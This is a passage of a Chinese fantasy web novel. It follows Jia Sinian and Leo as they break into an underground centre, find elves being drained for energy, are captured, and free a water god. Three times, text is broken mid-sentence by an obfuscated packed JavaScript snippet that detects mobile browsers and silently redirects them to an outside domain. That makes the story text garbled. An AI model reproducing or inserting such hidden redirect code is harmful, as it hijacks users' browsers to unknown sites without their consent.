林奈在心里偷偷长舒了一口气,然后开始一边哼歌一边刷牙洗脸,他觉得自己没有刚刚那么不高兴了,相反他现在很开心。 就在刚才,他好像交到了一个朋友,这是他的第一个朋友。 第一个朋友就是一个高大魁梧的可怕家伙,林奈得意极了,然而这份得意很快被妈妈的声音打破了。 “林奈你在磨蹭什么?动作快些,你还没吃东西。” 早餐依旧是牛奶和返潮的麦片,林奈胡乱地把食物混在一起然后倒进嘴里,就跟着妈妈出门去了。林奈觉得潮湿的地面很滑,他小心翼翼地跟着妈妈走到了电梯,然后到了轻轨车站。 林奈上了车,找位子坐下,透过窗看着各个区高大的水泥建筑,建筑上的牌匾发出颜色一致的灯光。 不知过了多久,林奈看着窗外巨大建筑上的房子渐渐变得整齐又稀疏,他转头问道:“妈妈,我们这是要去哪?” “纳迪先生的家,纳迪先生是剑术大师,想跟着他学习不是容易的事情,一会儿到了大师家里,你要好好表现,知道了吗?” “知道了……”林奈小声回答道。 林奈没听说过这位大师,也不知道为什么非要学剑术不可,但是妈妈向来说一不二,他只能偷偷生她的气,好在林奈也不会一直生气,不一会儿,他就又被窗外雅致的房子吸引了。 林奈跟着妈妈下车后,看着周围的干净整齐的街道和房屋,在心里惊叹这里居然有这么多漂亮的房子,他之前见过最漂亮的房子就是教堂了,然而他只能偷偷住在教堂的下一层里。 妈妈按响了门铃,一个年轻男人很快来打开了大门,林奈被妈妈牵着走了进 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“疯了,杰思敏,你真的是疯了!”纳迪在沙发前来回踱步。 “你父亲知道这件事吗?” “他不知道,只有尼克知道。” 林奈觉得妈妈的声音听起来异常的冷静。 “我想我们需要单独谈谈,老师。” 林奈看到妈妈瞄了瞄带他们进来的年轻男人,又看了看自己。 林奈被年轻男人带出了房间。 他们刚刚在说什么? 怎么从来都没听妈妈提起过? 年轻男人让林奈坐在大厅的沙发上,过了一会儿又给他拿了水果和点心。这样精致的点心,林奈只在蛋糕店路边的橱窗里见过,他不确定自己可不可以吃,抬起头望着年轻的男人,男人笑了。 “这些都是给你的。” “谢谢你,先生。” 林奈很高兴,他小心翼翼地拿起一块小蛋糕,咬了一小口,然后睁大了眼睛。 好好吃啊,原来橱窗里的点心是这个味道的。 林奈好高兴,他又咬了一大口,但很快意识到这样是不礼貌的,他不好意思地看了一眼年轻男人。 男人摆摆手,脸上依然带着笑。 “没关系的,你喜欢的话还有很多。” 林奈高兴极了。 妈妈看起来跟叫纳迪的先生是朋友,纳迪先生的家也太好了,又宽敞又暖和,有这么多房间,还有许多好吃的。 妈妈有这么厉害的朋友! 后来不知道过了多久,有人在摸林奈的头,林奈被从睡梦中叫醒,他揉揉眼睛,看见妈妈的脸。 “林奈,以后你就在纳迪先生这里学习剑术,快去向老师问好。” 林奈睁开眼睛。 “嘿,你怎么在这儿蹲着?” 林奈抬起头,发现贾思年在摸他的头,她在他眼前摆了摆手。 “你怎么啦?” 是贾。 她回来了。 林奈忽然站起身紧紧抱住了面前的女孩,怀里的匕首咣当一声掉在了地板上。 他好害怕,他害怕贾思年又被治安队抓走,他害怕黑暗中只有他自己一个人。 “你怎么哭啦?”林奈听到贾思年在问。 哭了? 为什么要哭呢? “我去找查克还书了,对不起啊,害你担心了。”贾思年轻轻拍他的后背。 “没关系。” 林奈张了张嘴,勉强发出声音。 你回来就好。 20. 沼泽里的国家(十五) 一条巨大的白色蝾螈在科斯特杰的建筑之间游动,立起的外鳃上透着点点红色的光。周围悬浮的花车上堆满了各种巨大的农作物,只能从底下喷出的蓝色喷气勉强看出是一辆辆悬浮车。 穿着彩色服饰的少男少女们正站在花车上跳舞,在路上游行的精灵们看到了他们的队伍,爆发出了阵阵欢呼。 这就是丰收节。 贾思年坐在街边的甜品店里,衔着杯子里的吸管,饶有兴致地看着窗外漂浮的巨大生物。 “这是活物?还是模型?” 她转过头问坐在桌子对面的里奥。 “是投影。”里奥回答。 “有点东西啊。”贾思年不咸不淡地称赞。 “晚上还有大型餐会和灯会,食物和饮料全都是免费的。”里奥补充。 “那恐怕我们是吃不上了。”贾思年转了转眼睛,回头看见林奈在拿勺子挖冰淇淋。 “查克,要帮我照顾好林奈哦。” “没问题。”查克看着窗外热闹非凡的花车,眼睛里却似乎流过一丝悲伤。 “你们要去哪里?”林奈嘴里还有食物,说话含糊不清。 “我晚上陪里奥去蓝区升级证件,你先跟查克去吃东西,我们在灯会上见。”贾思年回答。 林奈不知道升级证件是做什么,他也不想知道。 他只知道,过了今晚,他们就要回家了。 贾思年和里奥走在蓝区的附近的人行道上,里奥跟在贾思年身后拐进了蓝区的巷子里,她四处观察,确认了周围没有其他人,终于开口说道: “好了,贾,现在你可以说说,我们要怎么进入地底中心了吗?” 贾思年停下了脚步,从腰包里掏出了一个隐形眼镜盒,她打开盖子,里奥看到了里面的镜片上复制了一套棕色的虹膜。 “这是从哪里来的?”里奥惊呆了。 “嘿嘿,这你别管。” “一会儿我们先去地底中心大门对面的咖啡馆,门口右边遮阳伞底下的桌子在监控死角。地底中心的守卫会在餐会之前换班,那个时候只要戴上这个,我们两个就都能进去了。” 贾思年说着打开巷子边上的消防柜,从里面拿出了两套蓝色的制服。 “这是地底中心研究员的制服,你也穿上。” “你都是从哪里知道的这些啊?!”里奥持续震惊。 “哈哈,这你别管。”贾思年看着里奥瞪大的眼睛,笑出了声。 “进去之后可就要靠你了,我可不知道里面是什么样的。” “对了里奥,你不是可以感知整个普罗菲塔吗?你没有试过看看地底中心里面是什么样子的吗?”贾思年一边换衣服一边问道。 “我看不到。”里奥穿上上衣。 “地底中心是有防护系统的,这样的地方是不可感知的。” “就像普罗菲塔的防护罩一样吗?”贾思年拉上衣服的拉链。 “……你这么一说,好像确实是同样的东西……”里奥眉头紧锁。 “希望里面是可以感知的吧。”她心不在焉地整理自己的上衣。 “放轻松,里奥。”贾思年拍拍她的背。 “无论怎么样,我们都要在灯会之前离开。” “我答应过林奈,明天我们就要回家了。” 二人坐电梯来到了蓝区的一层,地面有些潮湿,贾思年看到不远处巨大的蓝色牌子上写着“地底中心”,旁边就是园区大门。 她往大门对面望去,查克的信息很准确,果然有一家门口有遮阳伞的咖啡店。 贾思年走到咖啡店门口右侧的遮阳伞下,拉开椅子。 “你喝什么?我们今晚可得打起精神来。” “跟你一样就行。”里奥有些心不在焉。 “你怎么了?”贾思年看着里奥苍白的脸。 “我……我有点害怕,这是违法的……我不知道……”里奥压低了声音。 “你随时可以退出,不要勉强。”贾思年拍了拍她的肩膀。 里奥皱起眉,她盯着潮湿的地面,咖啡店附近的灯光映在反光的地面上,她看见对面建筑和牌匾的倒影。 “可我……我一直都想知道这里究竟是做什么的……”她看着自己的鞋尖。 “那就不要怕,餐会开始的时候,整个地底中心里应该都没什么活物,我们只需要在灯会开始之前出来就行了。”贾思年揉了揉里奥的头发。 六点钟,贾思年的手环发出了滴的一声,手环上的数字立刻变成了三小时,倒计时开始了。 地底中心大门前穿白色制服的守卫正在换班,几名守卫三三两两的聚在一起,大概在谈论一会儿的丰收节庆祝活动。 不一会儿,他们陆续离开,只留下三名守卫,正一起往旁边的保安亭走去。 就是现在。 贾思年带着里奥快步走到大门口的闸机,她从口袋拿出一张卡片放在识别处,又对着摄像头露出了带着棕色隐形镜片的眼睛。 闸机红色的灯光变成了绿色,贾思年拉着里奥迅速通过了闸机。 “走慢一点,别靠得太近,有人在看我们。”贾思年压低了声音对里奥说。 里奥注意到了来自保安亭的目光,她也放慢了脚步,两个人就这样慢慢悠悠地走进了地底中心。 大厅空无一人。 “电梯在左边。”里奥小声说。 “进了里面你就可以感知了?”贾思年很高兴,果然没有白带里奥来。 “嗯。”里奥带着她进入了电梯。 “然后呢,我们去哪一层呢?”贾思年看着电梯上的按钮问道。 “我来看看……”里奥闭上了眼睛,整个地底中心的地图瞬间在她的脑海里展开,她看到空空荡荡的办公室,还有摆满各种仪器的实验室,她试图向下探索更多,却又被什么无形的东西拦住了。 里奥睁开眼,看着电梯上按钮的数字,按下了16。 “从地下16层开始,他们又设置了一层防护系统。” “哦?”贾思年挑挑眉毛,“有两下子啊里奥。” 电梯门在地下16层缓缓打开,竟露出了一面墙。 贾思年仔细看了看,发现这也是一道门,她把卡片贴在隐蔽的识别处,门上的显示屏却闪烁着“没有权限”。 “好消息是,也许找对了地方,坏消息是咱们进不去。”贾思年耸耸肩。 “通风管道。”贾思年忽然听到身后里奥的声音。 “我们去15层,从通风管道可以爬到16层。” 电梯门在地下15层开启,二人走出了电梯间,两侧是平平无奇的办公区,前面一个大办公区的灯还亮着,忽然从远处传来了说话的声音。 贾思年赶紧拉着里奥钻到了一张桌子底下。 “已经处理完了吗?” 有两个脚步声。 “已经送过去了。” “好,剩下的事交给地下就行了。” “唉……”其中一个发出长长的叹息。 “……唉,别往心里去,过了今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537549|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚,没人会记得他了。” 叽里咕噜说什么呢? 贾思年听着那两个精灵已经离开了,和里奥一起从桌子下爬了出来。 里奥皱起眉头,锤了捶发麻的双腿,“他们在说什么啊?” “我也没听明白,不过现在恐怕没时间去想这个。”贾思年亮出了还在倒计时的手环。 “好吧,通风井得绕到电梯后面。” 电梯后面的通风井铁门紧锁,不过用的居然是普通的弹子锁,贾思年从腰包里拿出一个发卡和一个回形针,她把发卡推进锁眼底部,把扳直的回形针也插进锁眼前后扫动。 “把回形针给我。”身后的里奥突然发出声音。 “什么……?我在开……”贾思年的耳朵几乎趴在门上。 没看正忙着呢吗? “把回形针给我。”里奥打断了贾思年的话。 “嗯?”贾思年的脸离开了门板,把回形针从锁眼里抽了出来。 这小丫头又要干嘛? 里奥从贾思年手里抢过回形针,几下便弯折出一个钥匙的形状,她把折出来的齿形递给了贾思年。 “你试一下。” 贾思年睁大了眼睛,把回形针插进锁眼转动,咔哒一声,通风井的铁门竟然开了。 “你居然还有这种本领!”这次轮到贾思年震惊了。 里奥的脸一红,“也不是什么光彩的事。” 她拉开通风井的铁门,一阵凉风窜了出来,漆黑的通风井里,勉强可以看到墙壁上布着一些线缆。 贾思年从袖子里扯出一个小头灯递给她。 “带路吧。” 贾思年跟在里奥身后,在通风井里慢慢地爬。 “我们现在已经在地下16层的天花板上了,下面非常空旷,他们应该是把三层楼打通成了一层。”里奥小声说道。 忽然里奥在前面的拐角处看到了光亮。 “前面有出口。”她加快了移动手脚的速度。 “这是今年的能源。” 二人突然听到从哪里传来了说话的声音,贾思年和里奥趴在了通风口的栅栏旁边,透过网眼鬼鬼祟祟地向下看去。 几个穿着白色护卫制服的精灵正围着一个赤身裸体的精灵,前面几个穿蓝色制服的研究人员正在交谈。 “做一下最后的核对,林图·维克多,来自马提拉,主要关系在家乡和圣科托姆,相关精灵的记忆清洗已经准备就绪。” “都已经准备完毕。” 林图?诗社的臭小子? 这是在干嘛?贾思年有些发愣。 里奥想要大声叫喊林图的名字,却被贾思年先一步捂住了嘴巴。 “嘘。”贾思年示意她不要出声。 赤身裸体的林图好像一个待宰的羔羊,他的眼睛空洞,温顺地跟着护卫队向前走。 “他们这是要做什么?” 里奥挣脱开了贾思年的手,迅速往前爬去。 “林图的状态很不对,他的精神力场,好像缺了什么。” 没什么时间留给贾思年思考,她只能加快速度跟在里奥后面。 “他们刚刚说什么?这是今年的能源?”贾思年问道。 前面的精灵女孩好像突然停顿了。 “他还说相关精灵的记忆清洗……”贾思年突然想起了躲在15层桌子下面听到的对话。 “过了今晚,没人会记得他了。” 贾思年也停了下来。 “他们说的能源,不会就是他吧。” 21. 沼泽里的国家(十六) “拉斐特住在农户家里, 病痛想要带走他们的孩子。 祂给了他们鲜血。” ——《欧莱经书:起源》 贾思年能感觉到里奥在发抖。 她趴在通风管道里,双臂抱住自己的肩膀,逐渐蜷缩了起来。 贾思年拍了拍她沾满灰的制服,“你还好吧?” “……贾……精源难道……?”里奥艰难地发出声音。 没错。 应该就是这样。 也许这就能解释精源为什么并非取之不尽用之不竭,却能支撑普罗菲塔外围的防护系统不眠不休地运行几千年。 因为精灵就是精源。 还真是够癫。 贾思年几天前还在因为这个疯子国王的离谱考验觉得冒犯,现在看来,他倒是众生平等一视同仁,自他以下全是草芥。 彻头彻尾的疯子! 这跟把拉斐特榨成汁的阿萨斯诺有什么区别! 不让精灵跑出去被人类榨汁,所以自己把想跑的榨成汁是吧? 虽说这事说到底跟她贾思年没有一点关系,但这谁能忍得了不生气,“你们这国王还是个人?呸!不对!他还是个精灵?X的什么臭傻X!”贾思年压低了声音破口大骂。 她忽然注意到里奥苍白的脸和空洞的双眼。 贾思年觉得自己应该说些什么,但她又能说什么?她能做的全部,不过也就是躲在通风管道里偷偷问候傻X国王全家,她既解决不了普罗菲塔的能源问题,也没法当着治安队的面冲出去救下林图……她什么也做不了。 贾思年拍了拍里奥,试图在狭小的空间里抱住她。 “这确实很难接受……但仔细想想,这其实也不是什么稀奇的事,里奥。” “只不过……你们的国王确实更……直白一些。” 泪水落在了贾思年的手上,她抬起手想给里奥擦擦眼泪,却发现里奥早已泣不成声。 “我们回去吧。”贾思年抱她更紧了一些。 里奥反身抱住贾思年,把头埋在她的身前放声大哭。 里奥的声音被闷在了贾思年的外套里,悲伤好像一条条冰凉的细蛇,顺着爬上了贾思年的皮肤,钻进了她的骨头里,贾思年沉默了,只是把手放在了里奥起伏的后背上。 “里奥,虽然很XX,但这个世界上只有一种永恒的关系,那就是剥削和被剥削。” “因为他在那里,所以你才能在这里。” “你今天太累了,我们回去吧。” 里奥从贾思年的怀抱里爬了起来,她摇摇头,依然在止不住地抽泣,她抹了抹脸上的泪水,说话断断续续。 “我要……我要去救他……”说着开始沿着通风管道继续向前爬。 “……你打算怎么救他,难道要我当着这么多守卫把他劫走吗?”贾思年跟在后面问道。 “我不……不知道……我要去救他。”里奥依旧在向前爬。 “可是我们不可能……” “求求你了……贾……我要去救他……” 二人终于在里奥的抽泣声中爬到了一个梯子处,贾思年跟着里奥沿着梯子向下爬,里奥打开了16层通风井的门,她深吸一口气,止住了抽泣,推开了门。 贾思年看到巨大的玻璃仓。 玻璃仓里灌满了透明的液体,七个赤身裸体的精灵漂浮在液体中,他们的身体几乎透明,躯干和手脚被拉得老长,他们身上插满了管子,蓝色液体顺着软管向上,最终汇聚到另一个巨大的收集仓里。 收集仓上装满了管道,管道顺着墙壁延申到了天花板上,在空中整齐地排列,然后通到这个城市的每一个角落。 林图和护卫队站在玻璃仓前,护卫队打开了旁边的舱门,林图慢慢走了进去,舱门无声地关上。 没过多久,林图也漂浮在了玻璃仓中,身上插满了软管。 果然是这样。 贾思年捂住了里奥的嘴,低声警告她不要发出声音。 “我们救不了他,你不要再想了,被发现了我们两个都没命。”她压低了声音在里奥耳边说。 贾思年拖着里奥躲进了旁边巨大仪器的阴影处。 玻璃仓前的研究员和守卫依旧聚集在一起,似乎还有什么事在安排,贾思年看着玻璃仓里一个似乎变得格外纤长的精灵开始移动,不一会儿,就从舱门走了出来。 那个精灵有旁边的精灵两三倍高,从舱门出来后,他的皮肤忽然开始以肉眼可见的速度变得衰老。 几个守卫给他披上了一件巨大的黑色斗篷。 “带去外面的墓地。”为首的说道。 也许是错觉,那个过分高大的精灵好像茫然地冲着贾思年的方向望了一眼,她瞬间觉得身上泛起了阵阵寒意。 她忽然想起了林地里那个来自空谷的声音。 “异乡人啊…… 你们为何要来这苦难之地?” 贾思年打了个激灵,迅速收回了目光,她看了一眼手环上的倒计时,还有30分钟。 “我们得走了。”她低声对里奥说。 这时,远处的守卫竟也顺着那个精灵的目光向贾思年这边看过来,几名守卫立刻从远处向她们跑来! 糟了! 贾思年拉起里奥就跑,她把里奥塞回通风井的铁门里,催促道:“快走里奥!快去15层!我们被发现了!” 贾思年在通风管里听着外面突然警铃大作,她跟着里奥迅速爬回了15层。 “守卫们围住了每一层的电梯。”里奥的声音颤抖。 “楼梯都在哪?”贾思年着急地问道。 里奥指了指另一边。 “没有办法了,你可能要遭点罪了。” 贾思年像扛面袋一样拦腰扛起里奥,迅速跑到了楼梯间,她在楼梯上向上飞奔,肾上腺素在她身体里飙升。 “他们追来了!他们知道我们在楼梯上!”里奥几乎哭着喊道。 贾思年听到楼梯间里嘈杂的脚步声,她能感觉到危机正从四面八方袭来。 “指一条路,快!”她大声喊道。 “再上一层,如果我们足够快,可以赶在上一层守卫过来之前跑到另一边的楼梯上!” “好,你抓紧我!”贾思年用尽全力向上跑去。 “左边!他们现在都往这边来了!” “回到刚才的楼梯,再上两层!” “再上一层就到地面了!” 贾思年感觉自己的肺要炸了出来,她喉咙里全是血的味道,她想吐,但又绝不能放慢脚步,她干哕了几声,吐出来的口水全都糊在了她的身上。 X的怎么还有一层! 她的意识逐渐变得模糊。 真要命真要命! 快快快马上就要逃出去了! 她推开了门。 地面上的一切都让贾思年感到熟悉,潮湿的地面,巨大的水泥建筑,似乎永远不会出现太阳的昏暗光线。 是13号联合社区! 回家啦! 刺耳的警笛声突然在贾思年的周围响起,她看见成队的白色制服将她们围了起来,她看见希尔向她们走来,身后的治安队捆着查克和林奈。 林奈的嘴巴被封了起来。 贾思年看见他在哭。 她好像又一次看到了洛洛的呜咽。 XXX的谁敢欺负我的狗! 她把里奥安稳地放在了地上。 不能原谅!不能原谅! 一双巨大的机械拳套忽然包裹在了贾思年的双臂上,她从地面爆起,突然窜到了林奈的身边,把他身边的治安队员一拳扫飞。 治安队见状,立刻列队,一些队员立起了盾牌,另一些则开始对着贾思年射击。 金色的铠甲忽然笼罩在贾思年全身,她顶着枪林弹雨,一拳冲向那些发着蓝光的武器。 治安队队员被贾思年击飞,连躯体都变了形,脖子向着一侧歪着,脑袋随时都会掉到地上,但他们却像不会疼痛一般,又立刻捡起地上的武器向贾思年冲来。 贾思年一拳打烂了眼前治安队员的头,蓝色的鲜血飞溅,然而对方已经扭曲变形的胳膊却举起了手里的盾牌,向她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537550|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸下重重一击。 贾思年痛得眼前发黑,她打飞了盾牌,将没有头的躯体撕裂,更多蓝色的血液炸了出来,被撕碎的肢体依旧在地上疯狂地扭动,好像被拦腰斩断了身体的蛆虫。 更多的治安队员像丧尸一样冲了上来,贾思年一人在残破的肢体和蓝色的血液中艰难地招架。 这对吗? 贾思年很快意识到她真正的对手根本不是这些治安队员,她立刻从围困中脱身,迅速转向希尔的方向奔去。 “可以,够能打,也有点脑子。”希尔忽然鼓起掌来。 “可惜有点脑子但不多。” 他满脸嘲弄的笑。 你才没脑子! 贾思年一跃而起,就在她的拳套要砸到希尔的脸上时,她突然在空中静止了,蓝色的光球将她包围,她瞪着希尔,面目狰狞,但却动弹不得。 丧尸一般的治安队员也静止了,一切安静得可怕。 “擅自闯入机密地带,又袭击治安队员,这回你死多少次都不过分了。”忽然响起了希尔的声音。 “还有你,麦杰。”他又转向查克。 “你太令我失望了。” 查克低着头,贾思年看不到他的表情,过了一会儿,他抬起头来,对着贾思年扯出了一个难看的笑。 “对不起,贾,我没照顾好林奈。” “你被这阴沟里的老鼠下了什么咒吗?”希尔冷冷地说道。 “只要你跟陛下承认一切都是她胁迫你做的,你还会是我的副官,将来我的位置就是你的。” “我知道你的能力,你会大有作为!” “你说的大有作为,是跟那些政客勾心斗角呢,还是抓些□□故意培养出来的学生来做能源呢?”查克看着希尔深蓝色的眼睛问道。 “……这些都是为了普罗菲塔,国王陛下的所作所为,都是为了精灵的未来,没有精源,整个普罗菲塔连一天都运转不了。”希尔的语气缓和了下来。 “麦杰,精灵们想要生存下去,总要有牺牲。” “但这些跟贾无关。” “你竟然还在替她开脱……” “麦杰,你已经无药可救。” 希尔转过身来不再看他,他掏出了一个闪着蓝光的通讯器,对着它说道:“陛下,影族女人已经抓捕完毕,共犯林奈、麦杰·涅米宁和里奥·斯尼萨曼一并抓获,请指示。” “那就都交给斯尼萨曼处置吧。” 贾思年听到了一个充满玩味的声音。 “他们父女之间,这会儿恐怕有很多话要讲了。” “陛下,斯尼萨曼先生是否应该避嫌……”希尔又一次觉得自己完全看不懂国王的心思。 “没什么可避的,斯尼萨曼小姐是守规矩的好市民,他要审的不过是影族女人罢了。” “明白。”希尔回答,关掉了手里的通讯器。 贾思年从空中摔到了地上。 “这一下是为了刚刚被你袭击的治安队员。”希尔冷冷地说道。 哈?喂喂喂我警告你不要滥用私刑! 贾思年被蓝色的光再次从地上抬起,又被重重地摔在地上。 “这一下是为了斯尼萨曼小姐,你把她吓坏了。” 贾思年又一次被抓到空中。 还来啊大哥?我服啦!我招!我全都招! 贾思年的身体被狠狠地砸向地面,她仿佛能感觉到自己的内脏在流血。 “这一下是为了我失去了副官。” 贾思年仰面躺在地上,鼻子和嘴里全是血腥味,她的拳套和铠甲都消失了,剧烈的疼痛正在啃食她的全身。 XXX的XXX!真XX狠啊我X! 贾思年呲牙咧嘴地看着两侧巨大的水泥建筑,外墙上还装饰着庆祝丰收节的横幅和彩灯,远处绿区的灯会已经开始了,她的耳鸣好像人声鼎沸。 天上忽然绽放起了绚丽的烟花。 贾思年看着烟花在天上枯萎。 13号地下联合社区? 哎?那是什么地方来着? 这里是科斯特杰。 22. 沼泽里的国家(十七) 贾思年挣扎着睁开了眼睛。 她看见明亮的吊灯,灯上的烛火通过水晶反射,晃得她睁不开眼,她挤了挤眼睛,忽然意识到自己的手脚被捆了起来。 “你醒了?”她听到一个苍老威严的声音。 她试图坐起来寻找声音的来源,却立刻因为浑身的剧痛动弹不得,贾思年深吸一口气,像条虫一样扭动着身体勉强坐了起来。 她看见一个戴着眼镜的老人坐在写字台后,旁边的地板上,躺着依旧昏迷的林奈、里奥和查克。 贾思年环视周围的书架,“您就是,他们说的斯尼萨曼?给我们做翻译器的大师斯尼萨曼?” “是我。” “很精巧,久仰了。”贾思年说道,她转头看着林奈的脸。 林奈还在睡着,长长的睫毛乖巧地垂下。 “跟他们没关系,是我胁迫了查克,强行带着里奥冲进地底中心的,林奈完全不知情。”贾思年说道。 斯尼萨曼没有回应。 贾思年忽然听到里奥和查克的声音,他们也醒来了。 “……这是?”查克揉了揉眼睛,贾思年注意到其他人并没有被捆起来。 这怎么还搞歧视呢! “父亲……?”里奥皱着眉头,疑惑地看着写字台后的老人。 她转头发现贾思年的手脚都被捆了起来,立刻扑过来解开绳子。 “你还好吧,贾?”泪水在里奥的眼睛里打转。 “你身上疼吗?”眼泪滴落到贾思年的身上。 “没事的里奥,我没事。”贾思年笑得狼狈,呲牙咧嘴地说。 里奥忽然对着写字台后的老人怒目而视,她的声音颤抖又坚定,“父亲,你从没告诉过我地底中心在做着什么样的事。” “因为知道这件事对你没有一点好处。”斯尼萨曼开口说道。 “林图做错了什么?!他们做错了什么?!”里奥想要扑向写字台,却被查克从身后抱住。 “他们意志薄弱,易被蛊惑,才会落得这个下场。”斯尼萨曼透过镜片,盯着里奥愤怒的眼睛。 “那我呢?我也参加了自由诗社!我也被他们蛊惑了!他们为什么不带走我?!”里奥叫喊着,试图挣脱开查克的控制。 “因为你是斯尼萨曼家的孩子!” 呯的一声,写字台后的老人忽然拍桌子站了起来,巨大的声响吓得里奥一个激灵。 “别用那种眼神看着我!好像你就有多高尚?”斯尼萨曼声音里的威严似乎开始松动。 “你以为你凭什么能进圣科托姆读书?是靠你那只能当个治安队员的精灵之力?还是靠你那满分的理论课?” “因为你姓斯尼萨曼!” 里奥像个忽然断了线的提线木偶一样,顺着查克的身体向下滑落,她仰着头坐到了地板上,眼神逐渐变得空洞,好像又回到了贾思年跟她第一次相遇的巷子里,她坐在灯下的阴影里,泪水从她漆黑的眼睛滚下,流进了蓝色制服的领子里。 是啊,所以那些学生才会来找她的麻烦。 所以他们才说这不公平。 原来他们一直都没有错。 错的原来一直都是自己。 里奥的双手蒙在脸上,她的肩膀颤抖,贾思年听到痛苦的哭喊。 “把她带下去,麦杰。”斯尼萨曼似乎不忍心再直视,摆了摆手示意道。 查克扶起了痛哭的里奥,带着她离开了书房。 “交给贾来处理。”他压低了声音在里奥的耳边说道。 “这也太严厉了吧,斯尼萨曼先生。”贾思年撑着地面勉强站了起来。 “你肯定比我更了解里奥的能力代表什么。” “治安队员?那是因为她只能待在普罗菲塔这口破井里。” “……我只想让她安稳地度过一生。”斯尼萨曼颓唐地坐回了椅子上。 “显然她可不是这么想的。”贾思年看着斯尼萨曼苍白稀疏的头发。 “但你一定知道我想要什么,来做个交易吧!”贾思年走到写字台前。 “我在金港还算有点本事,我的委托人也出手大方,让我带里奥出去,我保证能供她衣食无忧。” “如果我没能履行承诺……反正你应该随时都能去金港宰了我。”贾思年双手撑到了写字台上。 “怎么样?除了得对付你们那个疯子国王,怎么听都是你赚。”她看着斯尼萨曼的头顶,露出了微笑。 烛影闪烁。 “成交。” “威斯郡马拉,我知道你们已经去过那个洞穴了,你要的东西就在那里。”斯尼萨曼递给贾思年一个装着深蓝色液体的小瓶子。 “这是提炼过的精源,祂的肉身就在洞穴里等着你们。” 凌晨时分,贾思年带着林奈和里奥坐在一辆悬浮车上,又一次踏上了前往祈愿山的路。 他们在山脚下车,向着漆黑的山顶爬去。 “在这边。”里奥带路走向她之前失足掉进去的洞穴。 贾思年又一次在洞口固定好了绳子,里奥和林奈依次爬进洞穴,当她的脚又一次踩到洞穴里满是灰尘的地面上,她听到林奈的声音。 “这里怎么全是灰尘?” 贾思年从背包里掏出斯尼萨曼给的瓶子,她打开盖子,深蓝色的液体被倒在了地上。 蓝色的荧光开始在洞穴里蔓延,所到之处,万物复苏,钟乳石从墙壁上游了出来,变成巨大的水母,在空中漂浮。地上的石笋变成了纤细的游鱼,成群地在空中盘旋。 这群闪着蓝光的生物逐渐汇聚在了一起,向着旁边成堆的巨石游去,石堆瞬间发出耀眼的光芒,贾思年挡住了眼睛。 “谢谢你们。”贾思年的脑袋里响起了一个声音。 她的眼睛适应了光亮。巨石消失了,眼前就是黎明前漆黑的天空,宽阔的洞口处,站着一个穿着白色斗篷的精灵,他手中拿着一把红色的纸伞,银色的长发和白皙的皮肤发出耀眼的光泽,俊美英气的脸让人分不出他的性别。 “是你!”贾思年和里奥一起惊呼。 “我是威斯郡马拉,谢谢你们带来重生。”他向着三人鞠躬致意。 水神怎么会被关在这里? 贾思年睁大了眼睛,觉得不可思议,“可你为什么会……?” “奥科霍利是利用了我的力量才能对所有人类施加诅咒,但他惧怕神的能力,所以尽管诅咒使我能量尽失,他还是把我封印了起来。”他垂下眼睛,银色的睫毛在脸上闪动。 “我知道你想要什么。”水神瞬间移动到了贾思年的面前,从她手里拿过已经倒空的瓶子。 他双手捧着瓶底,瓶子里忽然开始出现透明的液体,那些液体仿佛在瓶中沸腾,不一会儿便装满了整个瓶体。他盖上了盖子,把瓶子递给了贾思年。 “把雨水交给需要它的人。” 贾思年笑了,她接过瓶子,“多谢,不过……恐怕还得麻烦你带我们离开了。” “乐意至极。” 说着,眼前的少年变成了一条巨大的白色蝾螈,它盘起身体,竖起的外鳃上透着点点红色。 “上来吧。”他对三人说。 贾思年抱着蝾螈的身体,翱翔在天空中,太阳就要升起了,在天边散射出耀眼的光。 贾思年看着下面武士一般的石峰,清冽的风拂过山间的树林,又穿过她卷曲的短发。水神载着三人,向远处的山谷飞去。 火红的太阳升了起来。 今天是带林奈回家的日子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537551|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大的蝾螈降落在山谷前的林地里,三人爬了下来,水神又变回了白衣精灵,他手中的红伞在贾思年和林奈的面前轻点几下,二人身后巨大的背包忽然化成零散的像素消失了。 “穿过山谷,就能找回你们来时的路。” “接下来就要靠你们自己了,贾,祝你好运。”说着,白衣精灵消失在了树林中。 云端猎人的识别组件又一次出现在了贾思年的视野里,虚假和真实的记忆开始在她脑海里交织,她有点恍惚。 是啊,世界上哪来的什么精灵与魔法。 他们这是在上载世界的彩蛋副本中。 贾思年忽然意识到脚下的土地在震动,她听到身后传来巨物落地的声响,她猛地回头看去,十几座巍峨的石峰忽然开始移动,它们化身成了武士,手中握着巨大的石剑,正在向他们奔来。 哈?还有啊?能不能不玩了啊? “快跑!”贾思年大声喊道。 